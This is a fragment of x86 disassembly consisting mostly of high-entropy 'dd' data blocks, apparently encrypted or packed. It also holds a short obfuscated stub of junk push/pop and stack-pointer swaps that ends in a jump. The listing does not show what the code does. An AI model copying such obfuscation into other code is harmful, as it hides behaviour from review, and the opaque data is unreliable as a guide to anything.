dd 0E52F9720h, 61C4D850h, 70579DAAh, 50E54D75h, 12F036D8h
dd 25DEB0D9h, 6FD2E53Eh, 3715FBB8h, 0A7FB412Ah, 241950E3h
dd 9BA26471h, 5ADA88Fh, 6ED857CFh, 73B94A28h, 0CF7D67B6h
dd 8B79D857h, 31C2BCCEh, 3CBAF14Ah, 0A05BC00Ah, 6075DDDBh
dd 0FB8C7582h, 2F75E64Eh, 0FCBB1D60h, 4F5FDE15h, 25320843h
dd 3D9F0647h, 433E977Eh, 0D66C529Bh, 8DE0BE04h, 8D748D01h
dd 7AA85192h, 7C40AE8h, 54C0AB8h, 0A4F5B5CCh, 5E780546h
dd 636EE4h, 0B0CF0000h, 0E53E25DEh, 0F8F371D2h, 0DDBEF7CEh
dd 965373B9h, 38C5D2B0h, 8FE3A808h, 0E6933B36h, 35FCD857h
dd 1CFA1AD1h, 0A360C48Bh, 32659C83h, 528176F4h, 408FD0AEh
dd 0D857D292h, 0B13C7D3Dh, 0DD7E3D9Eh, 95E3C178h, 0D88BC6B6h
dd 4E8CF003h, 8B712EEDh, 0EAC8AE6Bh, 923Bh, 0F6576A00h
dd 0B2907633h, 0E097F979h, 9C57BC23h, 551678DFh, 74D8EB98h
dd 0F7CDF5F0h, 70B6DDBEh, 0CFAD9350h, 0C08F48AAh, 9C22437h
dd 7B88664Ch, 0DDBEFBAAh, 0EFBE7DDFh, 0F2592B63h, 39341B3Bh
dd 0E3AAA8C4h, 8DA087CDh, 5FA27128h, 974C3FFAh, 45C5EC06h
dd 3D61282h, 84E40000h, 4FB5F8C7h, 2386C998h, 0EE529564h
dd 0BE236635h, 156F3403h, 0E5B46FD4h, 0BB8A41A2h, 8B5A1178h
dd 5625E648h, 4D7570D1h, 36D8500Dh, 94F91B10h, 69CB0EDDh
dd 0F98CE3B2h, 63B23B97h, 1562281Ah, 9D5A1174h, 73DA97B7h
dd 348B5A11h, 0BF77AD11h, 77745ADDh, 4C42DDBEh, 98D1CCB3h
dd 41E3AD69h, 0F08E3EFBh, 0A15E1D7Eh, 5BB49BBBh, 2126E924h
dd 992CCBBh, 0D85171A1h, 3BA684CAh, 47882B40h, 4FB57CE6h
dd 0D5F5DB98h, 0DF2357E2h, 9E0ED1CBh, 340h, 5E2DEE4Eh
dd 2FFEB51Bh, 3D289ECh, 0D09F5CC0h, 0A271288Dh, 0DD42A7DDh
dd 0B3145726h, 7FE629F8h, 54B6F9C8h, 0DE3FC493h, 500DFBE3h
dd 897EA4D8h, 775F5AB3h, 20DDBEF7h, 75D7FCDAh, 3092F9B6h
dd 1C7D9077h, 9BBB78DCh, 0C71AF8DEh, 0CBB2433Bh, 0D3CE56B8h
dd 0DDBEF7EBh, 502E4E94h, 0DB9EAE5h, 7588E3A8h, 0B79D5A11h
dd 450248D9h, 57E0C8F6h, 6633F3D8h, 8BD4C784h, 41ACD8h
dd 0B00D0000h, 0E53E25DEh, 0D9B770D2h, 0A808C7CCh, 6D2A70E3h
dd 57E5B01Eh, 30EB4FD8h, 6BA70C73h, 702D4D04h, 0EEA6F3F7h
dd 0AA185919h, 0D88BB3A1h, 0CED2h, 0ADA80100h, 0D857E905h
dd 2687286Eh, 0F94C8563h, 0C2F9E097h, 8121B0A9h, 8DCEAC69h
dd 4D0AC126h, 6C384E6h, 64C12259h, 0E501B849h, 0C780E207h
dd 2A1CCDF8h, 0D8EBDDBEh, 16FCB972h, 0FAB11338h, 0C586E82Bh
dd 0CD265808h, 187A8DE6h, 0DEBCA25Fh, 0A72A30D1h, 0BD22E9E3h
dd 8B17E606h, 201B02F3h, 0E6436CEDh, 0D58CF3BAh, 56BBCEB5h
dd 62F1D9D4h, 549AD66Bh, 83DC6534h, 6B625E88h, 250349D6h
dd 0EDE09B00h, 0CBD22874h, 19F0FD2h, 0F000002h, 0DA1DECAFh
dd 0A9ECBB74h, 7DC08F46h, 50936219h, 9C6130EBh, 0E59C01E8h
dd 0B772D316h, 873EA5E8h, 541375B8h, 0A49F0085h, 0D8500C3Ah
dd 0F94A3F65h, 10683894h, 0E8F65BE0h, 54B6F9C8h, 0B06DC493h
dd 433E25DEh, 0E3A808BEh, 0F16BFCE7h, 0B8F6673h, 4A812EEBh
dd 0EC2422A4h, 37791C20h, 20EA8146h, 2A98A583h, 95D85744h
dd 252684D5h, 4ED88C54h, 101h, 5F97F9AFh, 9C823FFAh, 0C2E299FBh
dd 0E0455805h, 68238829h, 4900658Ah, 0B1E94F62h, 9674944Bh
dd 0FB250655h, 86ADDBEh, 0DB3D804Fh, 0DFAF5F1Ch, 6A8A41A5h
dd 0F9878883h, 5AA0E3A7h, 0B71F1A73h, 0E0D857FDh, 0EB8B39Ah
dd 79D857FDh, 79025533h, 0EBAA0D20h, 57FD7862h, 0FFDD23D8h
dd 2083FD91h, 25C6AC69h, 0FCE303C2h, 6B9CE5C5h, 0FEDCDA71h
dd 0D1D69893h, 4B91E643h, 35EC5164h, 0FBF4174Eh, 0E90EC41Ch
dd 0F82FB80Bh, 0CC1C5CB4h, 0EC50F1D2h, 0C72C512Fh, 0B9A2190Ch
dd 31F4CBD2h, 0EBC1h, 0E299F900h, 0B16AD013h, 7D3C9FE2h
dd 4C076BAEh, 1ED53A7Dh, 0EFFA8A4Fh, 0BD00CF8Ah, 8BCE9D5Ch
dd 5B9E6D24h, 0EE7342F9h, 0A28928Dh, 2D53D850h, 5F5AB338h
dd 0DDBEF777h, 0F8F3DA20h, 0DDBEF7CEh, 709573B9h, 5669500Bh
dd 957B38EFh, 19D68DF4h, 0BF025533h, 80B79E5Dh, 0DD4C1844h
dd 0D1240234h, 0E097F97Ah, 2637623h, 0E2446947h, 0B0CE5A29h
dd 81A15ABEh, 0E9429F9Ah, 0CD13E3ADh, 9047A910h, 5B1C7EC1h
dd 5BBAF19Eh, 6C98BFB3h, 3DBAC7A5h, 84396533h, 1072BBF8h
dd 232D9590h, 1056B904h, 7CDE21F0h, 687BD4BBh, 0A58B4803h
dd 423B21Ch, 0D5D0DDB9h, 0B90423EDh, 52305096h, 8D46AA11h
dd 723F6BD0h, 65FB57B9h, 68896315h, 72B584A4h, 2A9A5710h
dd 14h, 437CB389h, 33F54B93h, 686C5651h, 0D117DDBEh, 7732D3B1h
dd 25E299F9h, 0DE9B5CBEh, 9C591077h, 5815D435h, 18D58CF1h
dd 0D8954CB1h, 99560D71h, 5B18CF32h, 18D58EF4h, 0DFE6881h
dd 34890000h, 0E0895024h, 405h, 4E88300h, 5C240487h, 68240489h
dd 4E04h, 0B8241489h, 364F64ACh, 0B504832Dh, 0BE564039h
dd 52752D2Ah, 657FF681h, 0E6C1474Dh, 92F68108h, 31C13CC7h
dd 8B545EF0h, 0C4812414h, 4, 0C3895351h, 895BD989h, 0FF59084Ah
dd 815A2434h, 4C4h, 24048B00h, 81E68956h, 4C6h, 4C68300h
dd 5C243487h, 0FB4B98E9h, 10B874FFh, 305EEFEh, 5DE0FFC5h
dd 0DF286637h, 933353EFh, 0D01205E5h, 4F26ECC2h, 942DCAE6h
dd 4237BD52h, 152FD837h, 4607FAAh, 38186F5Ch, 8D1031FDh
dd 0EEFF3A8Dh, 28D48005h, 26558D89h, 0D78B05E9h, 80585C7h
dd 5BD805E9h, 8D890000h, 5E929F1h, 163D85C7h, 5E9h, 0B5890000h
dd 5E900A5h, 4BDB5FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 8BCDB1C3h, 0C595FFF0h
dd 2905E90Bh, 0E92B25B5h, 0D8C0F05h, 60000000h, 78E88166h
dd 870F97h, 61000000h, 95FF006Ah, 5E91E95h, 69EBC08Bh
dd 46064661h, 3CB83BADh, 7DA6EDEBh, 0F99C8168h, 263002CEh
dd 0FED542D4h, 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh
dd 8639CC3h, 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh
dd 7DF7488Fh, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh
dd 0F182738Ch, 0A058689h, 4788D771h, 1D9ED841h, 1C40C24Bh
dd 0F7A30A5Fh, 79EB6Eh, 8CEF9E7Dh, 0D60FE221h, 979FABAFh
dd 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h
dd 609EB794h, 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh
dd 7E9BB98Bh, 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h
dd 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh, 0B79BB7D6h
dd 0ABAFF600h, 9F8995h, 0C77156F0h, 0BEB3D7h, 0D7567118h
dd 73E2ADC4h, 29195EBEh, 0FCEE9h, 1C76800h, 0C4E905EFh
dd 68FFFA7Fh, 5EF02F4h, 0FA7FBAE9h, 3BC68FFh, 0B0E905EFh
dd 68FFFA7Fh, 5EF053Ch, 0FA7FA6E9h, 5DB68FFh, 9CE905EFh
dd 68FFFA7Fh, 5EF0680h, 0FA7F92E9h, 72868FFh, 88E905EFh
dd 68FFFA7Fh, 5EF07D5h, 0FA7F7EE9h, 88168FFh, 74E905EFh
dd 68FFFA7Fh, 5EF095Dh, 0FA7F6AE9h, 0B0568FFh, 60E905EFh
dd 68FFFA7Fh, 5EF0D81h, 0FA7F56E9h, 0E7168FFh, 4CE905EFh
dd 18FFFA7Fh, 0AE94B1D8h, 40264372h, 0D1B7D403h, 60466396h
dd 0D6DAF722h, 3D68A60Ch, 0D2F93A20h, 6590CFB5h, 0F5286248h
dd 7C2A0BD8h, 13261A3Ah, 0C28D6BC4h, 63275588h, 91C0FC29h
dd 81D9122Fh, 37C06E11h, 371C3223h, 598893C1h, 707DB08Eh
dd 0A268D771h, 0A72B8132h, 50722CC9h, 0A713208Bh, 943C6F06h
dd 8C452642h, 27h, 0A7176F52h, 294D5604h, 43B91C32h, 0B457D15h
dd 19B21320h, 0A4D2053Fh, 6D083DDAh, 26C6923Eh, 0D88E45h
dd 7B540000h, 63467A1h, 789FE03Ch, 88BBF5DBh, 2D58965Ah
dd 0CE013BFFh, 7EBB95A0h, 0BA57214Fh, 4A679AD4h, 0C9177B90h
dd 4A7DB716h, 0E00D472Dh, 804A789Fh, 81D9F01Eh, 0BC06E11h
dd 4B1C31F4h, 631132D5h, 13203A23h, 0E3C6BA7h, 8735EC44h
dd 13203AC7h, 52EF51C7h, 0AA1A72ABh, 0CF0CE607h, 454903A0h
dd 0C919C6B2h, 2EC4DF04h, 0A6CE58Ch, 2A4F8D67h, 0C993C1ECh
dd 431D4A67h, 0E1ABD904h, 0F5205E44h, 72C3BEC4h, 59150D6Fh
dd 0D9Eh, 7794BBFBh, 9265591h, 9AB7E623h, 294679B4h, 0BDDA0543h
dd 539129B9h, 0E4250B28h, 7BBAA0BDh, 134D3350h, 15F6C3E0h
dd 261B2767h, 704EA713h, 3C5984C2h, 46E91C56h, 1A377725h
dd 41B716C9h, 0A4124990h, 37D43730h, 5A7B6290h, 0C91AEAACh
dd 0E17EF416h, 3DE050A8h, 3229928Fh, 4984F41Ch, 4EB0DF1Ch
dd 5684B7F2h, 0F1FC2A8Ch, 2E5CDA17h, 0E2D71F1Ah, 2BF52385h
dd 5CEED48Eh, 68091320h, 91F29E0Dh, 0E0EE4526h, 0B5000000h
dd 0F509A486h, 0C5628C24h, 5588C297h, 0FA256327h, 1292C1CCh
dd 4A7DB8E8h, 0E2A1521Ch, 76CF8073h, 0E23FD5F1h, 0F506C05Dh
dd 0F616C909h, 1B2DD1Ch, 0F7756326h, 12F895D8h, 5B88A5D8h
dd 0E5134681h, 6A2CDAh, 0FE7416C9h, 0DF19FF9Ch, 0F677EACh
dd 0FD4EFC9Fh, 391C31EDh, 0FD5F8AC9h, 0DF4FA7E0h, 4CFA1B3Ch
dd 1320230Ah, 0C7811E94h, 19C6BC74h, 84A548BEh, 96F1B563h
dd 0B8F916CBh, 26C33991h, 0A0DD0240h, 0ADD41571h, 0A482E4Bh
dd 96AEF09Eh, 0BA3016CBh, 6B072758h, 3E366F72h, 0C7182h
dd 678ECE00h, 0F928644Ah, 8AB9F6DCh, 194C876Dh, 0ADD816FCh
dd 5C568C90h, 0F0D6F31Eh, 856B88AFh, 18FE1B46h, 0C18EABDEh
dd 186C32E0h, 19721326h, 5984C23Bh, 0E91C563Ch, 88C59FCCh
dd 0C28EBC59h, 63275588h, 7953F629h, 0AED5163Bh, 0F854B680h
dd 945E8CBBh, 2D6A50F7h, 0D20CD0FEh, 3455829Fh, 0C91AC086h
dd 0BB58CE16h, 0C61E2D97h, 0E005B356h, 2E1C321Ch, 0CEF389B8h
dd 0E16BA607h, 0B7DE1F89h, 25206614h, 38AEE4AAh, 0EC8533D6h
dd 3AEE5113h, 277F96C4h, 3B86C876h, 9208E143h, 999B8AE1h
dd 157746D9h, 0F0ADC472h, 7FF5EBBFh, 95C802DCh, 221C4B78h
dd 8999A371h, 0BEF8DE7Bh, 0C8485A8Bh, 8F877D0Eh, 0BA9D3h
dd 9FC60600h, 31609C82h, 0C2F12E14h, 5184BFA5h, 0E5104E34h
dd 941EC4C8h, 280E2B56h, 0BDA3C0E7h, 5036537Eh, 0F9C6E316h
dd 19246A18h, 51AA1326h, 5A4C7B73h, 5096AB6Bh, 7333E184h
dd 7B16C9C8h, 48826805h, 78D0E715h, 73A1D40Eh, 0F6A447A9h
dd 1C312ED1h, 518AA71Dh, 0D49A48F9h, 0DA1320E6h, 0B15F0264h
dd 19DBEA00h, 0B7C2F066h, 0E2A6E896h, 2FDD16C9h, 16C9E26Fh
dd 0EAA1F96Fh, 0C9E27A3Ch, 0AC0E8416h, 0E26D550Fh, 0F18A16C9h
dd 0EABDA17h, 410F9CD9h, 5F40CF2Fh, 47h, 0A7176F25h, 5C395604h
dd 0F851C32h, 2853926Ch, 0F0B66485h, 0FA132054h, 986290BBh
dd 862DCA40h, 205488CCh, 0A1D40E13h, 6F2FDDFEh, 6B132054h
dd 2FA5FD30h, 0C605EB92h, 88626D9Bh, 25EF1D4Ch, 0AC8AA88h
dd 7BEA0000h, 48F662A1h, 16C91A06h, 82B01288h, 8AE21BB8h
dd 8AB8DF20h, 0DBB5EC0h, 1C341A5Eh, 1C4BEE64h, 5C28D2A5h
dd 76A340B5h, 122F629Ch, 91BFF22Ch, 0FB2227Ah, 0DD35F761h
dd 0D6843B19h, 16C81B90h, 54ACDF1Ah, 0B8D97CDEh, 0C81B440Ah
dd 37D44A16h, 0CE0FE90Ah, 12AF79A7h, 86C5F22Ch, 0C9F72261h
dd 646F9DFFh, 0C81BF0B6h, 2688FE16h, 84721C4h, 164581DDh
dd 0B2ECD279h, 0B6184B85h, 0A9197188h, 0CC85D706h, 5D6C3F78h
dd 6CE593C0h, 0FA1C33B7h, 50E75384h, 3E36698Ch, 0A2982h
dd 1F468600h, 0B1E01C02h, 4271AE94h, 0D1043F25h, 6590CEB4h
dd 149E4448h, 0A88EABD6h, 3D234067h, 0D0B6D3FEh, 79466396h
dd 1FA4EA98h, 0D12A1326h, 1AD4EEF3h, 83DB16C9h, 0EC27013h
dd 91C32CBh, 98C6F12Fh, 0D94F31CEh, 0EF225C36h, 85B2ECD2h
dd 1FE9174Ah, 72EB1ABDh, 0E17FD1C8h, 58BAE523h, 214707B5h
dd 0D1471327h, 42717C34h, 4A2B67DAh, 0D7852809h, 1327F897h
dd 0CB04A117h, 9DCC0973h, 0A043A56Fh, 0F7F24871h, 0A23FE35Dh
dd 0D1E6C775h, 0B22819DFh, 6DF30381h, 3EFAF26Fh, 98Ah
dd 6380A7E7h, 0F512417Dh, 86A3D20Fh, 153265A0h, 0A9C6F12Fh
dd 37753DA5h, 0C809EF0Ch, 5F9E84A1h, 0F7311734h, 0F9DAA7C4h
dd 261F0B4Bh, 5C3A9313h, 205B88C2h, 995D8BEDh, 6EFE2C5Fh
dd 0DB85264Fh, 0D540CFD3h, 3F5h, 0A7176F9Bh, 0CBEE5604h
dd 0BE341C32h, 0D407411Bh, 0F9361031h, 0E5D49ACAh, 64DA1327h
dd 3A20C7h, 11502ACDh, 51EEB8E6h, 0E5C10199h, 96EE1327h
dd 0F0D58326h, 0F319DF03h, 0FACDF19h, 4F82BD2Dh, 616F0821h
dd 90AC88BEh, 0BA387D2Eh, 390A830Fh, 0D02EA6D7h, 29216F6Dh
dd 8E56Dh, 0DB024200h, 6D9CD8BEh, 0FE2D6A50h, 8DC0FBE1h
dd 214C8A70h, 0D8E20004h, 6C526F9Ah, 1E7042Bh, 947A97C2h
dd 3D0A275Ah, 1CE8AE5Ch, 9DF61326h, 5588C2BFh, 6C9BD8B2h
dd 42D783BBh, 67040C64h, 7EB1EBAFh, 0D4A1C050h, 0CFB409D7h
dd 3472740h, 14EE0000h, 5503A6D9h, 16C94511h, 5C8A279Dh
dd 0C91AD4EEh, 1383DB16h, 0CB4CC270h, 1C921C32h, 0E3659F79h
dd 0D696B087h, 143B7C86h, 4D3350B2h, 1C3DE013h, 27D8286Eh
dd 0A340B613h, 0C7CD4EBh, 306E4869h, 89AE6805h, 0D519DF3Eh
dd 0AE42E5Fh, 736B6F6Dh, 83DB7h, 335A9A00h, 0C5F43016h
dd 5685C2A8h, 0E5185339h, 79A4E2C8h, 308A585Ch, 0C4AAC7F2h
dd 593F5C83h, 0ECD2EF1Ah, 95627FB2h, 1D4006B4h, 0F54E1326h
dd 62A17B17h, 7AB49A37h, 1B551947h, 1AB5F9A7h, 0C33916C9h
dd 84A33361h, 0D316BAF1h, 24FE40CFh, 2206B7EAh, 309C7BE5h
dd 924061FEh, 6000002h, 0C91AD4EEh, 1383DB16h, 0DDA14F70h
dd 0E116C91Ah, 541AC86Bh, 5A16C91Ah, 6C1A47E4h, 1C32CB93h
dd 0A1C265DBh, 9144A072h, 54F16B53h, 0C907346Eh, 391F3C9Eh
dd 879ECCFFh, 6E1CBF2Fh, 19DCD3A9h, 4A8EBF35h, 56F6D35h
dd 790510Dh, 0ADED0000h, 47836986h, 0D815FB18h, 6BA68CA9h
dd 0F7351B38h, 37ABAFCCh, 0F5123D7Bh, 8AA7CE0Fh, 1D3A65A4h
dd 0ADCAFD37h, 0D51FFE0h, 9113261Dh, 0A17B5A38h, 3D073564h
dd 4D80BAA0h, 0EE215B1Fh, 471D0C0h, 163366A0h, 57D10FE9h
dd 0F1D4D979h, 943193F1h, 0CFF8EBB5h, 70540h, 0CACB0000h
dd 1E1h, 1AAEEE0Ah, 85DD16C9h, 5B987215h, 9734FE2Ch, 1AFEBC6Ah
dd 82F81C34h, 9ECB05DFh, 0CBFA3764h, 4371D39Dh, 14FA1779h
dd 6279A7DAh, 0EBAB590Ah, 0F313261Ah, 0CA781B7Dh, 19DD1605h
dd 8CE21389h, 0BB6F6EF2h, 6E407C3h, 1410000h, 9BD7BDDAh
dd 2C694F6Ch, 0BFFAE0FDh, 4B896F8Ch, 0E3FF0320h, 516E99D7h
dd 0E6032A6Bh, 7996C100h, 9265993h
dd 0E9AD5B3Ch, 0F5132612h, 88C2BE9Ch, 65D8B906h, 5CFFD24h
dd 0DE31BE54h, 508A4E7Ch, 65A07A1Dh, 0EDDD9532h, 4776E78Eh
dd 9EB62567h, 0E5227EEFh, 21BE88B6h, 2BCE013Bh, 531A5C0Ah
dd 0EDA416C9h, 0C9537F3Fh, 0A7097F16h, 5C36630Ah, 0E0A99F21h
dd 98BCF424h, 0A13E0836h, 0CF211EC2h, 71240h, 0CAD80000h
dd 109h, 1AAFEE0Ah, 84DC16C9h, 21507114h, 50D86349h, 0AB59FC59h
dd 16C981EBh, 26E07DF3h, 1C34816Fh, 2815F928h, 6B1C4F89h
dd 0C461D833h, 0EFC96CE2h, 7F6582B5h, 0CDE41245h, 0B4620575h
dd 19DD0773h, 24D4057Bh, 736F6EE2h, 608BF7Bh, 25650000h
dd 0BFFBE1FEh, 508D7390h, 0E31E0421h, 6FAD93B0h, 0BF232744h
dd 6D8AB5F3h, 21F4687h, 95B2DD1Ch, 254275AFh, 85C97758h
dd 9132613h, 88C2D2B0h, 0FB1C2755h, 0C91A094Dh, 0E6259516h
dd 0C0FD59BBh, 0D40EF491h, 0AEDDFEA1h, 8EE8E041h, 0F8BEEE8Dh
dd 616C9F0h, 773BF390h, 1BDF0D38h, 9080AEE1h, 25604431h
dd 0A90890F2h, 2A9ED8CCh, 0C9F03A7Ch, 0EC4EC416h, 3D20F0CFh
dd 5A3440CFh, 5A94F01Bh, 922FF927h, 771h, 2ACA3700h, 0A000000h
dd 275588C2h, 0C8F62963h, 6D9BC604h, 12406BA9h, 1A155907h
dd 239916C9h, 594530A7h, 0BFE590B3h, 57355285h, 3Dh, 5B88C297h
dd 5F8DEF1Eh, 0F3E7A54h, 1A8BB872h, 5FD816C9h, 78264716h
dd 16C91A36h, 0F24A75B4h, 0B3E6207Ch, 381EBB85h, 9A417CFEh
dd 92C1F204h, 66C8FB36h, 4421C49h, 44E1ABD9h, 5588C216h
dd 6F9AD8B2h, 22DA7741h, 2BC7F617h, 0EF3202C7h, 32DCA2D2h
dd 6CE216C9h, 325B1BC9h, 0ED6316C9h, 4FBF1750h, 32AFFEACh
dd 0BD331C34h, 0E11FF91Ah, 21BE88B6h, 2BCE013Bh, 48E51451h
dd 5B9A74A1h, 327D41EFh, 0B811326h, 14B17BA9h, 1EC1F42Eh
dd 9BDC0944h, 1A7C4674h, 56AEC57Dh, 482243E6h, 0E5AFDD0Ch
dd 811E4D89h, 0DDE36DC7h, 9C3FB519h, 0EAAC5A7Bh, 0F016C8CDh
dd 0B62C84B3h, 0C6F93319h, 12540223h, 9C16C8CDh, 91D58326h
dd 1D16C8CDh, 7D630AA7h, 0CBE21043h, 0B2600373h, 1C33CB21h
dd 0FC9ECF45h, 33698C1Ch, 4607F3Bh, 7DBD0000h, 17533956h
dd 0A8E5CBE8h, 3B765C79h, 0C705EB08h, 677B7F9Ch, 0C5E20D4Bh
dd 5A779EDFh, 0ED0A3574h, 7D9ACD07h, 5D21CFB0h, 61132611h
dd 88C22A08h, 9CD8B255h, 0C4753F6Dh, 0B1D43A01h, 8F36D3E1h
dd 0D0203362h, 0C29F1E93h, 612B5984h, 427C62FFh, 51926C0Fh
dd 11D58D2Ah, 8676A4D7h, 1C564E27h, 23EDCCE9h, 3140CF0Dh
dd 2A38DB02h, 0D6739985h, 31B5h, 0AD5B7C00h, 16C985E9h
dd 0B4E27FF5h, 4A7176Fh, 325C3956h, 0DB15851Ch, 0C9A346A8h
dd 88425F8Ah, 132054C4h, 405D90CAh, 0C2F01B5Ah, 3B906h
dd 176F4600h, 0B4A6FADh, 791C7EE0h, 31F24ECBh, 69A37D1Ch
dd 41B79936h, 0F22E0813h, 2C7220C3h, 0B213203Dh, 7FB99F3Ch
dd 0ED101E4Ch, 171C988h, 0D52BB05Eh, 0B52B19D8h, 97075F98h
dd 0F2C546F4h, 0DB511C31h, 0F41F5E38h, 66A0FCC6h, 1ADE9633h
dd 9F83B1DCh, 0AC044D28h, 78DA0142h, 0D5A227D5h, 3EB419D8h
dd 8D013B21h, 0C91A9FDFh, 0BA681F16h, 16C91AF4h, 0C02284FAh
dd 6194CE92h, 43B30B44h, 2365F2A0h, 7D9E1C32h, 200C8FCFh
dd 3F06B613h, 0A7CFE5B7h, 8836D94Fh, 132073C6h, 0D3B552C8h
dd 0F5242F5Dh, 0BDF80D94h, 0E1925C8Ah, 0F12D7C49h, 9C360C2h
dd 1320A039h, 0F576A53Eh, 2C5F99A9h, 0DC8334FEh, 473C2FC7h
dd 33F4898Fh, 76FF34D1h, 0A2D10DE7h, 40DD0846h, 26FDBF61h
dd 6CB145h, 9E780000h, 0A0DA365Dh, 0D8753F6Dh, 66176FAAh
dd 1AD79745h, 61D716C9h, 0C91A6D31h, 0C6017116h, 399B6593h
dd 9D8634D7h, 0E91C3229h, 95AD4573h, 0ED13200Bh, 0CD913FB3h
dd 0D113200Bh, 7CBF95Bh, 7E6E9CCBh, 0E148561Fh, 35792748h
dd 0B913200Bh, 0B3E10849h, 0B5EA87E9h, 0CE7C9DC0h, 13200B88h
dd 2403A016h, 4526C67Ch, 0CB74h, 88C23A00h, 25632755h
dd 1A4B0BB9h, 0DD5316C9h, 4F894D7Bh, 0F02AEE1Ch, 15E6A0BDh
dd 5D16C917h, 2C4DF023h, 0C919387Eh, 0B350C616h, 10BEDF0Ch
dd 16C9194Eh, 573DDA50h, 0A5BCEA1Dh, 8C3ADD4Dh, 1C321623h
dd 9FD8F56Bh, 1334D747h, 1C0244F2h, 93331320h, 0BE1222FDh
dd 87249AF2h, 0C668E2CDh, 0FB22819h, 0E68867E0h, 0C562543Ah
dd 0A8567798h, 16CB88E6h, 0EFD572E8h, 836986B1h, 2DE91A45h
dd 0A06F7265h, 1E4ECA8h, 1410000h, 9BD7BDDAh, 2C694F6Ch
dd 0BFFAE0FDh, 4B896F8Ch, 0E3FF0320h, 516E99D7h, 0E6032A6Bh
dd 7996C100h, 9265993h, 0E9AD5B3Ch, 0F5132617h, 4C7BBE9Ch
dd 0AA3A1CEBh, 0E7CD6ABEh, 7B617EA9h, 0C3F10E41h, 4A7176Fh
dd 32294D56h, 5402B91Ch, 13200B12h, 8BCA269Ch, 0C5D0FE60h
dd 5280AFEBh, 1131EB88h, 7113200Bh, 12D60437h, 179A7D6h
dd 74DBC3B2h, 4709A2D3h, 594526C6h, 0CCh, 5588C21Fh, 0D88283B2h
dd 986EFAD1h, 417F43FBh, 0D26727D5h, 0F16716C9h, 7C56618Fh
dd 0BD77143Bh, 16C9DF4Ch, 0FC194C86h, 0BE00AECFh, 4016C9D1h
dd 0D472DCAh, 215D37DAh, 5DFAC4F2h, 0C6368EA5h, 0DED87523h
dd 0B0261C32h, 92025A93h, 4B3541EFh, 0C33919C6h, 0DD084620h
dd 0C47293C0h, 16CB6182h, 13F9960Ch, 0EB79AAD5h, 0FA6F727Ch
dd 0F44602h, 11510000h, 0ABE7CDEAh, 3C795F7Ch, 0CF0AF00Dh
dd 5B997F9Ch, 0D30F1330h, 617EA9E7h, 0F6133A7Bh, 89A6D110h
dd 193669A3h, 0F9BD6B4Ch, 5132614h, 84C2CEACh, 1C563C59h
dd 0DE939Ah, 0C9020C52h, 6B1C9216h, 0E2444956h, 2E701E3Fh
dd 0B016C9B8h, 0A5E9973Ah, 2916C9B8h, 416F16B3h, 0B25588C2h
dd 126E99D8h, 0AE78A6D5h, 5B955911h, 6CAB8528h, 0A6491341h
dd 0C91AB6F8h, 25C23816h, 7DED457Eh, 1A752CDAh, 77D1C34h
dd 0A8DB15D9h, 0E96BA58Bh, 0C7D61877h, 80383649h, 49448B91h
dd 0BF5785E7h, 36D4D876h, 1CCA3674h, 3FD0D05Ah, 5E8CEE64h
dd 432599Ah, 0A7D50440h, 9ED774DDh, 3E375A00h, 0DCF92C66h
dd 5B89BCF6h, 0EE2F5C97h, 1ECF99C7h, 633E20CFh, 0A9D739EAh
dd 7D274EC5h, 0ABDA1643h, 31145A08h, 249A3FD0h, 85BFA5C2h
dd 3682452h, 0A8000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh
dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h
dd 0A4E0A4D2h
db 75h, 47h, 86h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push 3513h
mov [esp], eax
push 2AC6h
mov [esp], ebx
push edi
push 5EF00AAh
pop edi
mov eax, edi
pop edi
push esp
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
pop dword ptr [ebx+8]
push dword ptr [esp]
pop ebx
add esp, 4
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5461C3
; ---------------------------------------------------------------------------
db 88h, 3Dh, 0F1h
dd 8B4198D2h, 0B8A2581Eh, 5EF0F8Ah, 0E0FFC503h, 372050B9h
dd 122DC501h, 197FAD31h, 280B1834h, 49E26431h, 7BF9DDF1h
dd 6CA6721Eh, 1C5775A6h, 400F4328h, 54D58E9h, 0B3690C4h
dd 31CDE4E1h, 2562417Dh, 0DE8h, 0D9C73200h, 98345203h
dd 96AD8303h, 0FE978BBh, 29000000h, 44755BCh, 44DDE7E2h
dd 83AF72DBh, 525BC2B9h, 5AC38B66h, 760CC381h, 0BA660000h
dd 71B96DD3h, 8168B757h, 0B73A2AE9h, 338BF568h, 12E8h
dd 4063D400h, 8143CF37h, 0ADD949A5h, 2CF9004h, 8A98BDE7h
dd 0EE815AD7h, 6101DA67h, 9E9h, 0E1010900h, 0B43F5A50h
dd 0EE8116A6h, 26ED0806h, 0B810Fh, 6E90000h, 0AB000000h
dd 51E3E5ABh, 95C6819Ah, 0BA00C01Eh, 98C571h, 0B1606056h
dd 0F08166E1h, 6061BDCAh, 5B535F56h, 38F6161h, 0DE9h, 5FB2BA00h
dd 8AC2A5C0h, 4655B5E7h, 0EB83F3B2h, 8A0F6004h, 2, 816644B7h
dd 61BDF8D2h, 0F01E983h, 1085h, 0C78B6600h, 1CE9h, 5F4F2100h
dd 33005787h, 0E9D08A59h, 0FFFFFF56h, 7BE68ABBh, 3ADAB403h
dd 0CEB371AEh, 17DE914h, 5D600000h, 16C4FFEh, 0D1D76FC2h
dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h
dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh
dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh
dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh
